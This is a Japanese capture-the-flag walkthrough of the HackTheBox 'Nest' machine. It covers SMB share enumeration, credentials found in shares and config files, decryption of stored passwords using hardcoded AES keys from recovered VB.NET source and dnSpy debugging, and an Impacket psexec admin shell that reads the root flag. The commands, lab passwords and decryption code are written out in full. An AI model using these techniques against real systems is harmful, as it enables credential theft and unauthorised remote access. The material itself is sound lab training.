HackTheBox-Nest
情報収集#
└─# nmap -sV 10.129.157.43 -p 1-65535
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 22:27 EST
Nmap scan report for 10.129.157.43
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
445 と 4386 の未知のサービスを取得しました。
SMB 共有#
445 ポートで共有されているサービスを確認します。
─# smbmap -H 10.129.157.43 -u null
[+] Guest session IP: 10.129.157.43:445 Name: 10.129.157.43
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ NO ACCESS
Users READ ONLY
user と data はアクセス可能です。
user にアクセスすると、コマンドを実行できないことがわかりました。
└─# smbclient -N //10.129.157.43/users
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jan 25 18:04:21 2020
.. D 0 Sat Jan 25 18:04:21 2020
Administrator D 0 Fri Aug 9 11:08:23 2019
C.Smith D 0 Sun Jan 26 02:21:44 2020
L.Frost D 0 Thu Aug 8 13:03:01 2019
R.Thompson D 0 Thu Aug 8 13:02:50 2019
TempUser D 0 Wed Aug 7 18:55:56 2019
TempUser C.Smith L.Frost R.Thompson Administrator のユーザーが見つかりましたが、リソースファイルにはアクセスできませんでした。
data にアクセスします。
└─# smbclient -N //10.129.157.43/data
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 7 18:53:46 2019
.. D 0 Wed Aug 7 18:53:46 2019
IT D 0 Wed Aug 7 18:58:07 2019
Production D 0 Mon Aug 5 17:53:38 2019
Reports D 0 Mon Aug 5 17:53:44 2019
Shared D 0 Wed Aug 7 15:07:51 2019
5242623 blocks of size 4096. 1840690 blocks available
smb: \>
ディレクトリを一つずつブラウズした後、アクセス可能なディレクトリを見つけました。
次に段階的にアクセスします。
ここで txt を見つけました。ダウンロードコマンドは「」で囲む必要があります。そうしないと、上の画像のようにコマンドが見つからないというエラーが出ます。
これはメールで、このアカウントとパスワードで Tempuser の共有サービスにアクセスできることを意味します。
TEMP#
─# smbmap -H 10.129.157.43 -u TempUser -p welcome2019
[+] IP: 10.129.157.43:445 Name: 10.129.157.43
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ READ ONLY
Users READ ONLY
このアカウントは data と secure そして users にアクセスできます。
しかし、users には依然としてアクセス権がありません。data にアクセスを続けると、以前よりもアクセス可能な IT フォルダが追加されていることがわかりました。
DLink ディレクトリには設定ファイルがありませんでした。
notepad フォルダの中に設定ファイルを見つけてエクスポートしました。
RU Scanner ディレクトリでも設定ファイルを見つけてエクスポートしました。
RU_config.xml
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
c.smith のユーザーのパスワードを取得しましたが、暗号文がどのタイプかはわからず、復号できませんでした。
別の notepad の設定ファイルには二つのアドレスが示されています。
そのうちの一つは secure ディレクトリを指しています。この共有を再度読み取ります。
└─# smbclient -U TempUser //10.129.157.43/Secure$
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 7 19:08:12 2019
.. D 0 Wed Aug 7 19:08:12 2019
Finance D 0 Wed Aug 7 15:40:13 2019
HR D 0 Wed Aug 7 19:08:11 2019
IT D 0 Thu Aug 8 06:59:25 2019
5242623 blocks of size 4096. 1839742 blocks available
smb: \> cd IT
smb: \IT\> ls
NT_STATUS_ACCESS_DENIED listing \IT\*
smb: \IT\>
最初はこのように権限が不足していると表示されますが、ファイルの指示に従って carl ディレクトリにアクセスできることがわかります。
最初の問題には C# のタグが含まれているので、直感的に VB ディレクトリに入る必要があると思いました。
RU のディレクトリで最初の RUscan ディレクトリとソースコードを見つけました。以前にその設定ファイルを取得しました。
今、彼のすべてのファイルをダウンロードする必要があります。smbclient の再帰ダウンロードは次のようになります:
コード分析#
ソースコード#
VS にインポートした後、Module1 では設定ファイルを読み込み、utils 内の DecryptString 関数を呼び出して暗号化と復号化を行っていることがわかります。
utils のコードは次のとおりです:
Imports System.Text
Imports System.Security.Cryptography
Public Class Utils
Public Shared Function GetLogFilePath() As String
Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
End Function
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function EncryptString(PlainString As String) As String
If String.IsNullOrEmpty(PlainString) Then
Return String.Empty
Else
Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
Public Shared Function Encrypt(ByVal plainText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
Using memoryStream As New IO.MemoryStream()
Using cryptoStream As New CryptoStream(memoryStream, _
encryptor, _
CryptoStreamMode.Write)
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
cryptoStream.FlushFinalBlock()
Dim cipherTextBytes As Byte() = memoryStream.ToArray()
memoryStream.Close()
cryptoStream.Close()
Return Convert.ToBase64String(cipherTextBytes)
End Using
End Using
End Function
Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
Dim initVectorBytes As Byte()
initVectorBytes = Encoding.ASCII.GetBytes(initVector)
Dim saltValueBytes As Byte()
saltValueBytes = Encoding.ASCII.GetBytes(saltValue)
Dim cipherTextBytes As Byte()
cipherTextBytes = Convert.FromBase64String(cipherText)
Dim password As New Rfc2898DeriveBytes(passPhrase, _
saltValueBytes, _
passwordIterations)
Dim keyBytes As Byte()
keyBytes = password.GetBytes(CInt(keySize / 8))
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
Dim decryptor As ICryptoTransform
decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)
Dim memoryStream As IO.MemoryStream
memoryStream = New IO.MemoryStream(cipherTextBytes)
Dim cryptoStream As CryptoStream
cryptoStream = New CryptoStream(memoryStream, _
decryptor, _
CryptoStreamMode.Read)
Dim plainTextBytes As Byte()
ReDim plainTextBytes(cipherTextBytes.Length)
Dim decryptedByteCount As Integer
decryptedByteCount = cryptoStream.Read(plainTextBytes, _
0, _
plainTextBytes.Length)
memoryStream.Close()
cryptoStream.Close()
Dim plainText As String
plainText = Encoding.ASCII.GetString(plainTextBytes, _
0, _
decryptedByteCount)
Return plainText
End Function
End Class
この復号コードは一旦置いておきます。EXE をコンパイルしたとき、実行ファイルがエラーを出すことがわかりました。
CMD を使った後、例外エラーが発生し、設定ファイルをこのディレクトリに置いてから実行する必要があることがわかりました。
追加後、実行しても何も出力されず、困りました。
なぜ結果が出力されないのか、よく見ると、出力コードが欠けていることがわかりました。
C# の出力方法を調べました。
出力の違い:
1、Console.WriteLine(“出力をコマンドプロンプトウィンドウに表示します”);
2、System.Diagnostics.Debug.WriteLine(“出力ウィンドウに情報を表示しますが、Debug バージョンでのみ実行され、リリースバージョンでは Debug クラスの関数は無視されます”);
3、System.Diagnostics.Trace.WriteLine(“出力ウィンドウに情報を表示します。Debug とリリースバージョンの両方で実行できます”);
注:第2、3点は Debug モードでなければ情報を出力できません。
————————————————
著作権声明:この記事は CSDN のブロガー「三一.」のオリジナル記事で、CC 4.0 BY-SA 著作権協定に従い、転載する場合は原文の出典リンクとこの声明を付けてください。
原文リンク:https://blog.csdn.net/weixin_38091174/article/details/85802601
最終的なコードは次のようになります:
Module Module1
Sub Main()
Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
Console.WriteLine(Utils.DecryptString(Config.Password))
End Sub
End Module
結果も出力されました:
新しいパスワード xRxRxPANCAK3SxRxRx を取得しました。
しかし、もう一つの簡単な考え方は、EXE から直接入手することです。コードを理解した後、出力がないだけで、最終的な結果は必ずシステムのどこかに残るはずです。
dnspy#
C# のコードなので、dnspy を使って exe を逆コンパイルします。
考え方は、ここから復号アルゴリズムを呼び出して結果を出力することです。したがって、次の行にブレークポイントを設定します。
ssoIntegration.Password = Utils.DecryptString(configFile.Password);
この行にブレークポイントを設定し、実行を開始します。
ブレークポイント後、メモリ内の password パラメータは設定ファイル内のパスワードであることがわかります。この時点ではまだ復号化されていないので、さらに一歩進める必要があります。
ステップ実行 F11 を使用すると、復号化がどのように実行されるかを確認できます。逐次実行 F10 は単一ステップ実行で、復号化が完了したパスワードがメモリ内に存在することがわかります。
パスワードを取得することもできます。
## user
前のステップで c.smith のパスワードを取得した後、SMB を使用して接続します。
└─# smbmap -H 10.129.157.43 -u C.Smith -p xRxRxPANCAK3SxRxRx //共有を確認
[+] IP: 10.129.157.43:445 Name: 10.129.157.43
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ READ ONLY
Users READ ONLY
自分の名前のファイルの下にあるファイルに直接アクセスし、最初のフラグを取得しました。
## ROOT
このマシンのファイルをさらに検索すると、txt ファイルを見つけました。
しかし、非常に奇妙なことに 0 バイトです。
別の設定ファイルはエクスポートされたバックアップ設定です。
4386 ポート。。。最初の nmap スキャンで 4386 ポートが見つかりましたが、ここにある情報は別のポートに関連していると思われます。
同時に、別のディレクトリには HqkLdap.exe があります。
Windows で Hqkldap.exe を開いてみます。
zhangsan Release ♥ 14:48 .\HqkLdap.exe
Invalid number of command line arguments
zhangsan Release ♥ 14:48 .\HqkLdap.exe -help
Specified config file does not exist
zhangsan Release ♥ 14:48 .\HqkLdap.exe help
Specified config file does not exist
二つのヒントを得ました。
1. コマンドライン引数の数が無効です。
2. 指定された設定ファイルが存在しません。
このプログラムを実行するには設定ファイルが必要です。
0 バイトのファイルを使ってみることを考えました。
三つ目のエラーが表示されます。オプションのデータベースインポートモジュールがインストールされていることを確認してください。
これも C# でコンパイルされていることがわかり、dnspy で確認します。
dnspy#
逆コンパイル後、次のようなヒントが見つかりました:
以前に言及したいくつかの問題に加えて、HqkDbImport.exe も必要です。
しかし、現在 HqkDbImport.exe がどこにあるのかはわかりません。ない場合は、作成してみることにします。TXT を変更して拡張子を変更して使用します。
コードを確認します。
この部分は復号化プロセスでそれぞれのパラメータに対応しています。
したがって、ブレークポイントは復号化が完了した後の次のステップ、つまり Ldap ldap = new Ldap (); に設定する必要があります。
F10 を押してステップ実行します。
username に到達すると、復号化結果は administrator になります。
HqkLdap.LdapSearchSettings.Password.get は "XtH4nkS4Pl4y1nGX" という文字列を返します。
パスワードを取得しました。
ドメイン名を取得しました。
PWN ROOT#
─# smbmap -H 10.129.157.43 -u Administrator -p XtH4nkS4Pl4y1nGX
[+] IP: 10.129.157.43:445 Name: 10.129.157.43
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C$ READ, WRITE Default share
Data READ, WRITE
IPC$ NO ACCESS Remote IPC
Secure$ READ, WRITE
Users READ, WRITE
<br /><br />直接 psexec を使用して接続します。
└─# python3 psexec.py administrator:[email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.129.157.43.....
[*] Found writable share ADMIN$
[*] Uploading file oMaWJKuG.exe
[*] Opening SVCManager on 10.129.157.43.....
[*] Creating service zVQM on 10.129.157.43.....
[*] Starting service zVQM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> ls
'ls' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is E6FB-F2E9
Directory of C:\Users\Administrator\Desktop
07/21/2021 06:27 PM <DIR> .
07/21/2021 06:27 PM <DIR> ..
12/21/2022 03:27 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 7,534,895,104 bytes free
C:\Users\Administrator\Desktop> type root.txt
ca6dc99e9e052aa9fc3a68ea7c14ab9b
END.